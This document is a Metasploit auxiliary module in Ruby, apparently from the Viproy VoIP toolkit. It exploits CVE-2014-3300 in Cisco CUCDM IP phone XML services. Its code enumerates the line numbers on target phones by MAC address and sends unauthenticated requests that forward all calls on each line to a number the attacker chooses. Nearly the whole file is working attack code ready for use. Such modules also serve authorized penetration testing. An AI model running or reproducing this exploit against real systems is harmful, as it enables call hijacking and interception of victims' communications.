text: ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  
  require 'msf/core'
  require 'rexml/document'
  
  
  class MetasploitModule < Msf::Auxiliary
  
    include Msf::Exploit::Remote::HttpClient
  
    def initialize(info = {})
      super(
          'Name'        => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool',
          'Version'     => '1',
          'Description' => %q{
            CUCDM IP Phone XML Services - Call Forwarding Tool
            This tool can be tested with the voss-xmlservice component of Viproy.
            https://github.com/fozavci/viproy-voipkit/raw/master/external/voss-xmlservice.rb
          },
          'Author'      => 'fozavci',
          'References'     =>
              [
                  ['CVE', 'CVE-2014-3300'],
                  ['BID', '68331'],
              ],
          'License'     => 'GPL'
      )
  
      register_options(
          [
              Opt::RPORT(80),
              OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']),
              OptString.new('MAC', [ true, 'MAC Address(es) of target phone(s)', '000000000000']),
              OptString.new('FORWARDTO', [ true, 'Number to forward all calls', '007']),
              OptString.new('ACTION', [ true, 'Call forwarding action (FORWARD,INFO)', 'INFO']),
              OptString.new('FINTNUMBER', [ false, 'FINTNUMBER of IP Phones, required for multiple lines', '']),
          ], self.class)
    end
  
    def run
      uri = normalize_uri(target_uri.to_s)
      macs = Rex::Text.uri_encode(datastore["MAC"])
      forwardto = Rex::Text.uri_encode(datastore["FORWARDTO"])
      macs.split(/%0a|\r|\n/).each {|mac|
  
  
      print_status("Getting fintnumbers and display names of the IP phone #{mac}")
  
      uri_show=uri+"/showcallfwd.cgi?device=SEP#{mac}"
      vprint_status("URL: "+uri_show)
  
      res = send_request_cgi(
        {
          'uri'    => uri_show,
          'method' => 'GET',
        }, 20)
  
      if (res and res.code == 200 and res.body =~ /fintnumber/)
        doc = REXML::Document.new(res.body)
        lines=[]
        fintnumbers=[]
  
        list=doc.root.get_elements("MenuItem")
        list.each {|lst|
          xlist=lst.get_elements("Name")
          xlist.each {|l| lines << "#{l[0]}"}
          xlist=lst.get_elements("URL")
          xlist.each {|l| fintnumbers << "#{l[0].to_s.split("fintnumber=")[1]}" }
        }
        lines.size.times{|i| print_status("Display Name: "+lines[i]+"\t"+"Fintnumber: "+fintnumbers[i])}
  
  
        if datastore["ACTION"] == "FORWARD"
          fintnumbers.each {|fintnumber|
  
          print_status("Sending call forward request for #{fintnumber}")
  
          uri_fwd=uri+"/phonecallfwd.cgi?cfoption=CallForwardAll&device=SEP#{mac}&ProviderName=NULL&fintnumber=#{fintnumber}&telno1=#{forwardto}"
          vprint_status("URL: "+uri_fwd)
          res = send_request_cgi(
              {
                  'uri'    => uri_fwd,
                  'method' => 'GET',
              }, 20)
  
          uri_fwdpln=uri+"/showcallfwdperline.cgi?device=SEP#{mac}&fintnumber=#{fintnumber}"
          vprint_status("URL: "+uri_fwdpln)
          res = send_request_cgi(
              {
                  'uri'    => uri_fwdpln,
                  'method' => 'GET',
              }, 20)
  
          if (res.body.to_s =~ /CFA/)
            print_good("Call forwarded successfully for #{fintnumber}")
          else
            print_status("Call forward failed.")
          end
          }
        end
      else
        print_error("Target appears not vulnerable!")
      end
      }
    end
  end
  